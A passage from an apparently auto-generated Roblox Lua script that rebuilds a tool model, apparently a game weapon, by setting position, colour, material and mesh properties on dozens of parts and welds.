  3115. Part162.Position = Vector3.new(144.829605, 3.86657596, 144.31427)
  3116. Part162.Orientation = Vector3.new(0, -90, 90)
  3117. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3118. BlockMesh163.Parent = Part162
  3119. BlockMesh163.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  3120. BlockMesh163.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  3121. Part164.Parent = Tool0
  3122. Part164.Material = Enum.Material.Metal
  3123. Part164.BrickColor = BrickColor.new("Dark stone grey")
  3124. Part164.Rotation = Vector3.new(-90, 90, 0)
  3125. Part164.Anchored = true
  3126. Part164.FormFactor = Enum.FormFactor.Custom
  3127. Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3128. Part164.CFrame = CFrame.new(143.222946, 4.07324219, 144.39093, 0, 0, 1, -1, 0, 0, 0, -1, 0)
  3129. Part164.BottomSurface = Enum.SurfaceType.Smooth
  3130. Part164.TopSurface = Enum.SurfaceType.Smooth
  3131. Part164.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3132. Part164.Position = Vector3.new(143.222946, 4.07324219, 144.39093)
  3133. Part164.Orientation = Vector3.new(0, 90, -90)
  3134. Part164.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3135. SpecialMesh165.Parent = Part164
  3136. SpecialMesh165.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3137. SpecialMesh165.Scale = Vector3.new(0.0166666675, 0.0166666675, 0.0533333346)
  3138. SpecialMesh165.MeshType = Enum.MeshType.FileMesh
  3139. SpecialMesh165.Scale = Vector3.new(0.0166666675, 0.0166666675, 0.0533333346)
  3140. Part166.Parent = Tool0
  3141. Part166.Material = Enum.Material.Metal
  3142. Part166.BrickColor = BrickColor.new("Dark stone grey")
  3143. Part166.Rotation = Vector3.new(90, 0, -90)
  3144. Part166.Anchored = true
  3145. Part166.FormFactor = Enum.FormFactor.Custom
  3146. Part166.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3147. Part166.CFrame = CFrame.new(143.752945, 3.89991212, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3148. Part166.BottomSurface = Enum.SurfaceType.Smooth
  3149. Part166.TopSurface = Enum.SurfaceType.Smooth
  3150. Part166.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3151. Part166.Position = Vector3.new(143.752945, 3.89991212, 144.500931)
  3152. Part166.Orientation = Vector3.new(90, 90, 0)
  3153. Part166.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3154. CylinderMesh167.Parent = Part166
  3155. CylinderMesh167.Scale = Vector3.new(0.166666672, 0.666666627, 0.833333373)
  3156. CylinderMesh167.Scale = Vector3.new(0.166666672, 0.666666627, 0.833333373)
  3157. Part168.Parent = Tool0
  3158. Part168.Material = Enum.Material.Metal
  3159. Part168.BrickColor = BrickColor.new("Dark stone grey")
  3160. Part168.Rotation = Vector3.new(-90, 0, 90)
  3161. Part168.Anchored = true
  3162. Part168.FormFactor = Enum.FormFactor.Custom
  3163. Part168.Size = Vector3.new(0.213333338, 0.400000006, 0.200000003)
  3164. Part168.CFrame = CFrame.new(144.28627, 3.88657904, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3165. Part168.BottomSurface = Enum.SurfaceType.Smooth
  3166. Part168.TopSurface = Enum.SurfaceType.Smooth
  3167. Part168.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3168. Part168.Position = Vector3.new(144.28627, 3.88657904, 144.39093)
  3169. Part168.Orientation = Vector3.new(-90, 90, 0)
  3170. Part168.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3171. BlockMesh169.Parent = Part168
  3172. BlockMesh169.Scale = Vector3.new(1, 1, 0.699999988)
  3173. BlockMesh169.Scale = Vector3.new(1, 1, 0.699999988)
  3174. Part170.Parent = Tool0
  3175. Part170.Material = Enum.Material.Metal
  3176. Part170.BrickColor = BrickColor.new("Dark stone grey")
  3177. Part170.Rotation = Vector3.new(180, 0, 90)
  3178. Part170.Anchored = true
  3179. Part170.FormFactor = Enum.FormFactor.Custom
  3180. Part170.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3181. Part170.CFrame = CFrame.new(144.106277, 3.99324799, 144.500931, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  3182. Part170.BottomSurface = Enum.SurfaceType.Smooth
  3183. Part170.TopSurface = Enum.SurfaceType.Smooth
  3184. Part170.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3185. Part170.Position = Vector3.new(144.106277, 3.99324799, 144.500931)
  3186. Part170.Orientation = Vector3.new(0, -180, -90)
  3187. Part170.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3188. SpecialMesh171.Parent = Part170
  3189. SpecialMesh171.Scale = Vector3.new(0.166666299, 0.200000286, 0.0333333388)
  3190. SpecialMesh171.MeshType = Enum.MeshType.Wedge
  3191. SpecialMesh171.Scale = Vector3.new(0.166666299, 0.200000286, 0.0333333388)
  3192. Part172.Parent = Tool0
  3193. Part172.Material = Enum.Material.Metal
  3194. Part172.BrickColor = BrickColor.new("Dark stone grey")
  3195. Part172.Rotation = Vector3.new(-180, 0, 0)
  3196. Part172.Anchored = true
  3197. Part172.FormFactor = Enum.FormFactor.Custom
  3198. Part172.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3199. Part172.CFrame = CFrame.new(144.936279, 4.02657318, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  3200. Part172.BottomSurface = Enum.SurfaceType.Smooth
  3201. Part172.TopSurface = Enum.SurfaceType.Smooth
  3202. Part172.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3203. Part172.Position = Vector3.new(144.936279, 4.02657318, 144.387604)
  3204. Part172.Orientation = Vector3.new(0, 180, 180)
  3205. Part172.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3206. CylinderMesh173.Parent = Part172
  3207. CylinderMesh173.Scale = Vector3.new(0.2499993, 0.166666672, 0.25000006)
  3208. CylinderMesh173.Scale = Vector3.new(0.2499993, 0.166666672, 0.25000006)
  3209. Part174.Parent = Tool0
  3210. Part174.Material = Enum.Material.Metal
  3211. Part174.BrickColor = BrickColor.new("Dark stone grey")
  3212. Part174.Rotation = Vector3.new(-90, 0, 90)
  3213. Part174.Anchored = true
  3214. Part174.FormFactor = Enum.FormFactor.Custom
  3215. Part174.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3216. Part174.CFrame = CFrame.new(144.216263, 3.99324799, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3217. Part174.BottomSurface = Enum.SurfaceType.Smooth
  3218. Part174.TopSurface = Enum.SurfaceType.Smooth
  3219. Part174.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3220. Part174.Position = Vector3.new(144.216263, 3.99324799, 144.500931)
  3221. Part174.Orientation = Vector3.new(-90, 90, 0)
  3222. Part174.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3223. BlockMesh175.Parent = Part174
  3224. BlockMesh175.Scale = Vector3.new(0.0333333462, 0.899998665, 0.166666642)
  3225. BlockMesh175.Scale = Vector3.new(0.0333333462, 0.899998665, 0.166666642)
  3226. Part176.Parent = Tool0
  3227. Part176.Material = Enum.Material.Metal
  3228. Part176.BrickColor = BrickColor.new("Dark stone grey")
  3229. Part176.Rotation = Vector3.new(90, 0, -180)
  3230. Part176.Anchored = true
  3231. Part176.FormFactor = Enum.FormFactor.Custom
  3232. Part176.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3233. Part176.CFrame = CFrame.new(144.909607, 4.01991081, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3234. Part176.BottomSurface = Enum.SurfaceType.Smooth
  3235. Part176.TopSurface = Enum.SurfaceType.Smooth
  3236. Part176.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3237. Part176.Position = Vector3.new(144.909607, 4.01991081, 144.444275)
  3238. Part176.Orientation = Vector3.new(90, 180, 0)
  3239. Part176.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3240. CylinderMesh177.Parent = Part176
  3241. CylinderMesh177.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  3242. CylinderMesh177.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  3243. Part178.Parent = Tool0
  3244. Part178.Material = Enum.Material.Metal
  3245. Part178.BrickColor = BrickColor.new("Dark stone grey")
  3246. Part178.Rotation = Vector3.new(-90, 0, 90)
  3247. Part178.Anchored = true
  3248. Part178.FormFactor = Enum.FormFactor.Custom
  3249. Part178.Size = Vector3.new(0.200000003, 0.573333442, 0.200000003)
  3250. Part178.CFrame = CFrame.new(144.019608, 3.98323798, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3251. Part178.BottomSurface = Enum.SurfaceType.Smooth
  3252. Part178.TopSurface = Enum.SurfaceType.Smooth
  3253. Part178.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3254. Part178.Position = Vector3.new(144.019608, 3.98323798, 144.28093)
  3255. Part178.Orientation = Vector3.new(-90, 90, 0)
  3256. Part178.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3257. BlockMesh179.Parent = Part178
  3258. BlockMesh179.Scale = Vector3.new(0.0333333351, 1, 0.0666666403)
  3259. BlockMesh179.Scale = Vector3.new(0.0333333351, 1, 0.0666666403)
  3260. Part180.Parent = Tool0
  3261. Part180.Material = Enum.Material.Metal
  3262. Part180.BrickColor = BrickColor.new("Dark stone grey")
  3263. Part180.Rotation = Vector3.new(90, 0, -180)
  3264. Part180.Anchored = true
  3265. Part180.FormFactor = Enum.FormFactor.Custom
  3266. Part180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3267. Part180.CFrame = CFrame.new(144.939606, 4.05324221, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3268. Part180.BottomSurface = Enum.SurfaceType.Smooth
  3269. Part180.TopSurface = Enum.SurfaceType.Smooth
  3270. Part180.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3271. Part180.Position = Vector3.new(144.939606, 4.05324221, 144.457596)
  3272. Part180.Orientation = Vector3.new(90, 180, 0)
  3273. Part180.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3274. CylinderMesh181.Parent = Part180
  3275. CylinderMesh181.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  3276. CylinderMesh181.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  3277. Part182.Parent = Tool0
  3278. Part182.Material = Enum.Material.Metal
  3279. Part182.BrickColor = BrickColor.new("Dark stone grey")
  3280. Part182.Rotation = Vector3.new(-90, 0, 90)
  3281. Part182.Anchored = true
  3282. Part182.FormFactor = Enum.FormFactor.Custom
  3283. Part182.Size = Vector3.new(0.200000003, 0.906666696, 0.200000003)
  3284. Part182.CFrame = CFrame.new(144.186279, 3.983248, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3285. Part182.BottomSurface = Enum.SurfaceType.Smooth
  3286. Part182.TopSurface = Enum.SurfaceType.Smooth
  3287. Part182.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3288. Part182.Position = Vector3.new(144.186279, 3.983248, 144.39093)
  3289. Part182.Orientation = Vector3.new(-90, 90, 0)
  3290. Part182.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3291. BlockMesh183.Parent = Part182
  3292. BlockMesh183.Scale = Vector3.new(0.266666472, 1, 0.0666666701)
  3293. BlockMesh183.Scale = Vector3.new(0.266666472, 1, 0.0666666701)
  3294. Part184.Parent = Tool0
  3295. Part184.Material = Enum.Material.Metal
  3296. Part184.BrickColor = BrickColor.new("Dark stone grey")
  3297. Part184.Rotation = Vector3.new(90, 0, -180)
  3298. Part184.Anchored = true
  3299. Part184.FormFactor = Enum.FormFactor.Custom
  3300. Part184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3301. Part184.CFrame = CFrame.new(144.909607, 4.01991081, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3302. Part184.BottomSurface = Enum.SurfaceType.Smooth
  3303. Part184.TopSurface = Enum.SurfaceType.Smooth
  3304. Part184.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3305. Part184.Position = Vector3.new(144.909607, 4.01991081, 144.337601)
  3306. Part184.Orientation = Vector3.new(90, 180, 0)
  3307. Part184.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3308. CylinderMesh185.Parent = Part184
  3309. CylinderMesh185.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  3310. CylinderMesh185.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  3311. Part186.Parent = Tool0
  3312. Part186.Material = Enum.Material.Metal
  3313. Part186.BrickColor = BrickColor.new("Dark stone grey")
  3314. Part186.Rotation = Vector3.new(90, 0, -180)
  3315. Part186.Anchored = true
  3316. Part186.FormFactor = Enum.FormFactor.Custom
  3317. Part186.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3318. Part186.CFrame = CFrame.new(145.009598, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3319. Part186.BottomSurface = Enum.SurfaceType.Smooth
  3320. Part186.TopSurface = Enum.SurfaceType.Smooth
  3321. Part186.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3322. Part186.Position = Vector3.new(145.009598, 4.00324106, 144.337601)
  3323. Part186.Orientation = Vector3.new(90, 180, 0)
  3324. Part186.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3325. BlockMesh187.Parent = Part186
  3326. BlockMesh187.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  3327. BlockMesh187.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  3328. Part188.Parent = Tool0
  3329. Part188.Material = Enum.Material.Metal
  3330. Part188.BrickColor = BrickColor.new("Dark stone grey")
  3331. Part188.Rotation = Vector3.new(-90, 0, 90)
  3332. Part188.Anchored = true
  3333. Part188.FormFactor = Enum.FormFactor.Custom
  3334. Part188.Size = Vector3.new(0.200000003, 0.533333361, 0.200000003)
  3335. Part188.CFrame = CFrame.new(144.752945, 3.88657904, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3336. Part188.BottomSurface = Enum.SurfaceType.Smooth
  3337. Part188.TopSurface = Enum.SurfaceType.Smooth
  3338. Part188.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3339. Part188.Position = Vector3.new(144.752945, 3.88657904, 144.39093)
  3340. Part188.Orientation = Vector3.new(-90, 90, 0)
  3341. Part188.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3342. BlockMesh189.Parent = Part188
  3343. BlockMesh189.Scale = Vector3.new(0.733333349, 1, 0.699999988)
  3344. BlockMesh189.Scale = Vector3.new(0.733333349, 1, 0.699999988)
  3345. Part190.Parent = Tool0
  3346. Part190.Material = Enum.Material.Metal
  3347. Part190.BrickColor = BrickColor.new("Dark stone grey")
  3348. Part190.Reflectance = 0.20000000298023
  3349. Part190.Rotation = Vector3.new(0, 0, -90)
  3350. Part190.Anchored = true
  3351. Part190.FormFactor = Enum.FormFactor.Custom
  3352. Part190.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3353. Part190.CFrame = CFrame.new(144.392929, 3.873245, 144.267593, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  3354. Part190.BottomSurface = Enum.SurfaceType.Smooth
  3355. Part190.TopSurface = Enum.SurfaceType.Smooth
  3356. Part190.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3357. Part190.Position = Vector3.new(144.392929, 3.873245, 144.267593)
  3358. Part190.Orientation = Vector3.new(0, 0, -90)
  3359. Part190.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3360. SpecialMesh191.Parent = Part190
  3361. SpecialMesh191.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3362. SpecialMesh191.Scale = Vector3.new(0.0666666701, 0.100000001, 0.0333333351)
  3363. SpecialMesh191.MeshType = Enum.MeshType.FileMesh
  3364. SpecialMesh191.Scale = Vector3.new(0.0666666701, 0.100000001, 0.0333333351)
  3365. Part192.Parent = Tool0
  3366. Part192.Material = Enum.Material.Metal
  3367. Part192.BrickColor = BrickColor.new("Black")
  3368. Part192.Rotation = Vector3.new(0, 90, 0)
  3369. Part192.Anchored = true
  3370. Part192.FormFactor = Enum.FormFactor.Custom
  3371. Part192.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3372. Part192.CFrame = CFrame.new(144.469604, 3.88990998, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  3373. Part192.BottomSurface = Enum.SurfaceType.Smooth
  3374. Part192.TopSurface = Enum.SurfaceType.Smooth
  3375. Part192.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3376. Part192.Position = Vector3.new(144.469604, 3.88990998, 144.28093)
  3377. Part192.Orientation = Vector3.new(0, 90, 0)
  3378. Part192.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3379. SpecialMesh193.Parent = Part192
  3380. SpecialMesh193.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  3381. SpecialMesh193.MeshType = Enum.MeshType.Wedge
  3382. SpecialMesh193.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  3383. Part194.Parent = Tool0
  3384. Part194.Material = Enum.Material.Metal
  3385. Part194.BrickColor = BrickColor.new("Dark stone grey")
  3386. Part194.Rotation = Vector3.new(-180, 0, 0)
  3387. Part194.Anchored = true
  3388. Part194.FormFactor = Enum.FormFactor.Custom
  3389. Part194.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3390. Part194.CFrame = CFrame.new(144.939606, 3.99657202, 144.39093, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  3391. Part194.BottomSurface = Enum.SurfaceType.Smooth
  3392. Part194.TopSurface = Enum.SurfaceType.Smooth
  3393. Part194.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3394. Part194.Position = Vector3.new(144.939606, 3.99657202, 144.39093)
  3395. Part194.Orientation = Vector3.new(0, 180, 180)
  3396. Part194.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3397. BlockMesh195.Parent = Part194
  3398. BlockMesh195.Scale = Vector3.new(0.799999535, 0.0666666701, 0.466666788)
  3399. BlockMesh195.Scale = Vector3.new(0.799999535, 0.0666666701, 0.466666788)
  3400. Part196.Parent = Tool0
  3401. Part196.Material = Enum.Material.Metal
  3402. Part196.BrickColor = BrickColor.new("Dark stone grey")
  3403. Part196.Rotation = Vector3.new(90, 0, -180)
  3404. Part196.Anchored = true
  3405. Part196.FormFactor = Enum.FormFactor.Custom
  3406. Part196.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3407. Part196.CFrame = CFrame.new(144.389603, 3.90657496, 144.28093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3408. Part196.BottomSurface = Enum.SurfaceType.Smooth
  3409. Part196.TopSurface = Enum.SurfaceType.Smooth
  3410. Part196.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3411. Part196.Position = Vector3.new(144.389603, 3.90657496, 144.28093)
  3412. Part196.Orientation = Vector3.new(90, 180, 0)
  3413. Part196.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3414. CylinderMesh197.Parent = Part196
  3415. CylinderMesh197.Scale = Vector3.new(0.400000036, 0.0333333351, 2)
  3416. CylinderMesh197.Scale = Vector3.new(0.400000036, 0.0333333351, 2)
  3417. Part198.Parent = Tool0
  3418. Part198.Material = Enum.Material.Metal
  3419. Part198.BrickColor = BrickColor.new("Dark stone grey")
  3420. Part198.Rotation = Vector3.new(90, 0, -90)
  3421. Part198.Anchored = true
  3422. Part198.FormFactor = Enum.FormFactor.Custom
  3423. Part198.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
  3424. Part198.CFrame = CFrame.new(144.002945, 3.84657598, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3425. Part198.BottomSurface = Enum.SurfaceType.Smooth
  3426. Part198.TopSurface = Enum.SurfaceType.Smooth
  3427. Part198.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3428. Part198.Position = Vector3.new(144.002945, 3.84657598, 144.500931)
  3429. Part198.Orientation = Vector3.new(90, 90, 0)
  3430. Part198.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3431. CylinderMesh199.Parent = Part198
  3432. CylinderMesh199.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3433. CylinderMesh199.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3434. ManualWeld200.Name = "Part-to-Handle Strong Joint"
  3435. ManualWeld200.Parent = Part198
  3436. ManualWeld200.C0 = CFrame.new(-0.100000001, -0.316666663, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3437. ManualWeld200.C1 = CFrame.new(0.210006714, 0.0810937881, 0.400619507, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
  3438. ManualWeld200.Part0 = Part198
  3439. ManualWeld200.Part1 = Part30
  3440. Part201.Parent = Tool0
  3441. Part201.Material = Enum.Material.Metal
  3442. Part201.BrickColor = BrickColor.new("Dark stone grey")
  3443. Part201.Rotation = Vector3.new(-90, -90, 0)
  3444. Part201.Anchored = true
  3445. Part201.FormFactor = Enum.FormFactor.Custom
  3446. Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.400000244)
  3447. Part201.CFrame = CFrame.new(144.28627, 3.97324204, 144.490952, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3448. Part201.BottomSurface = Enum.SurfaceType.Smooth
  3449. Part201.TopSurface = Enum.SurfaceType.Smooth
  3450. Part201.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3451. Part201.Position = Vector3.new(144.28627, 3.97324204, 144.490952)
  3452. Part201.Orientation = Vector3.new(0, -90, 90)
  3453. Part201.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3454. BlockMesh202.Parent = Part201
  3455. BlockMesh202.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  3456. BlockMesh202.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  3457. Part203.Parent = Tool0
  3458. Part203.Material = Enum.Material.Metal
  3459. Part203.BrickColor = BrickColor.new("Dark stone grey")
  3460. Part203.Rotation = Vector3.new(-90, 0, 90)
  3461. Part203.Anchored = true
  3462. Part203.FormFactor = Enum.FormFactor.Custom
  3463. Part203.Size = Vector3.new(0.200000003, 0.233333334, 0.200000003)
  3464. Part203.CFrame = CFrame.new(143.969604, 3.83989501, 144.494263, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3465. Part203.BottomSurface = Enum.SurfaceType.Smooth
  3466. Part203.TopSurface = Enum.SurfaceType.Smooth
  3467. Part203.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3468. Part203.Position = Vector3.new(143.969604, 3.83989501, 144.494263)
  3469. Part203.Orientation = Vector3.new(-90, 90, 0)
  3470. Part203.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3471. BlockMesh204.Parent = Part203
  3472. BlockMesh204.Scale = Vector3.new(0.0333333351, 1, 0.233333275)
  3473. BlockMesh204.Scale = Vector3.new(0.0333333351, 1, 0.233333275)
  3474. Part205.Parent = Tool0
  3475. Part205.Material = Enum.Material.Metal
  3476. Part205.BrickColor = BrickColor.new("Dark stone grey")
  3477. Part205.Rotation = Vector3.new(90, 0, -180)
  3478. Part205.Anchored = true
  3479. Part205.FormFactor = Enum.FormFactor.Custom
  3480. Part205.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3481. Part205.CFrame = CFrame.new(144.389603, 3.90657496, 144.254272, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3482. Part205.BottomSurface = Enum.SurfaceType.Smooth
  3483. Part205.TopSurface = Enum.SurfaceType.Smooth
  3484. Part205.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3485. Part205.Position = Vector3.new(144.389603, 3.90657496, 144.254272)
  3486. Part205.Orientation = Vector3.new(90, 180, 0)
  3487. Part205.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3488. CylinderMesh206.Parent = Part205
  3489. CylinderMesh206.Scale = Vector3.new(0.100000009, 0.0333333351, 0.5)
  3490. CylinderMesh206.Scale = Vector3.new(0.100000009, 0.0333333351, 0.5)
  3491. Part207.Parent = Tool0
  3492. Part207.Material = Enum.Material.Metal
  3493. Part207.BrickColor = BrickColor.new("Dark stone grey")
  3494. Part207.Rotation = Vector3.new(90, 0, -90)
  3495. Part207.Anchored = true
  3496. Part207.FormFactor = Enum.FormFactor.Custom
  3497. Part207.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  3498. Part207.CFrame = CFrame.new(143.469604, 3.89991403, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3499. Part207.BottomSurface = Enum.SurfaceType.Smooth
  3500. Part207.TopSurface = Enum.SurfaceType.Smooth
  3501. Part207.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3502. Part207.Position = Vector3.new(143.469604, 3.89991403, 144.500931)
  3503. Part207.Orientation = Vector3.new(90, 90, 0)
  3504. Part207.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3505. CylinderMesh208.Parent = Part207
  3506. CylinderMesh208.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3507. CylinderMesh208.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3508. ManualWeld209.Name = "Part-to-AimPart Strong Joint"
  3509. ManualWeld209.Parent = Part207
  3510. ManualWeld209.C0 = CFrame.new(0.100000001, -0.150000006, -0.100000001, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3511. ManualWeld209.C1 = CFrame.new(0.00999450684, -0.0999891758, -0.596664429, 1, 0, 0, 0, 0, 1, 0, -1, 0)
  3512. ManualWeld209.Part0 = Part207
  3513. ManualWeld209.Part1 = Part420
  3514. Part210.Parent = Tool0
  3515. Part210.Material = Enum.Material.Metal
  3516. Part210.BrickColor = BrickColor.new("Dark stone grey")
  3517. Part210.Rotation = Vector3.new(-180, -90, 0)
  3518. Part210.Anchored = true
  3519. Part210.FormFactor = Enum.FormFactor.Custom
  3520. Part210.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3521. Part210.CFrame = CFrame.new(143.829605, 3.879915, 144.500931, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  3522. Part210.BottomSurface = Enum.SurfaceType.Smooth
  3523. Part210.TopSurface = Enum.SurfaceType.Smooth
  3524. Part210.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3525. Part210.Position = Vector3.new(143.829605, 3.879915, 144.500931)
  3526. Part210.Orientation = Vector3.new(0, -90, 180)
  3527. Part210.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3528. CylinderMesh211.Parent = Part210
  3529. CylinderMesh211.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  3530. CylinderMesh211.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  3531. Part212.Parent = Tool0
  3532. Part212.Material = Enum.Material.Metal
  3533. Part212.BrickColor = BrickColor.new("Dark stone grey")
  3534. Part212.Rotation = Vector3.new(-90, 0, 90)
  3535. Part212.Anchored = true
  3536. Part212.FormFactor = Enum.FormFactor.Custom
  3537. Part212.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3538. Part212.CFrame = CFrame.new(143.412933, 3.93991399, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3539. Part212.BottomSurface = Enum.SurfaceType.Smooth
  3540. Part212.TopSurface = Enum.SurfaceType.Smooth
  3541. Part212.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3542. Part212.Position = Vector3.new(143.412933, 3.93991399, 144.500931)
  3543. Part212.Orientation = Vector3.new(-90, 90, 0)
  3544. Part212.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3545. BlockMesh213.Parent = Part212
  3546. BlockMesh213.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  3547. BlockMesh213.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  3548. ManualWeld214.Name = "Part-to-AimPart Strong Joint"
  3549. ManualWeld214.Parent = Part212
  3550. ManualWeld214.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3551. ManualWeld214.C1 = CFrame.new(0.210006714, -0.0599889755, -0.589981079, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3552. ManualWeld214.Part0 = Part212
  3553. ManualWeld214.Part1 = Part420
  3554. Part215.Parent = Tool0
  3555. Part215.Material = Enum.Material.Metal
  3556. Part215.BrickColor = BrickColor.new("Dark stone grey")
  3557. Part215.Rotation = Vector3.new(90, 0, -90)
  3558. Part215.Anchored = true
  3559. Part215.FormFactor = Enum.FormFactor.Custom
  3560. Part215.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3561. Part215.CFrame = CFrame.new(144.389603, 3.99990606, 144.294266, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3562. Part215.BottomSurface = Enum.SurfaceType.Smooth
  3563. Part215.TopSurface = Enum.SurfaceType.Smooth
  3564. Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3565. Part215.Position = Vector3.new(144.389603, 3.99990606, 144.294266)
  3566. Part215.Orientation = Vector3.new(90, 90, 0)
  3567. Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3568. SpecialMesh216.Parent = Part215
  3569. SpecialMesh216.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  3570. SpecialMesh216.MeshType = Enum.MeshType.Wedge
  3571. SpecialMesh216.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
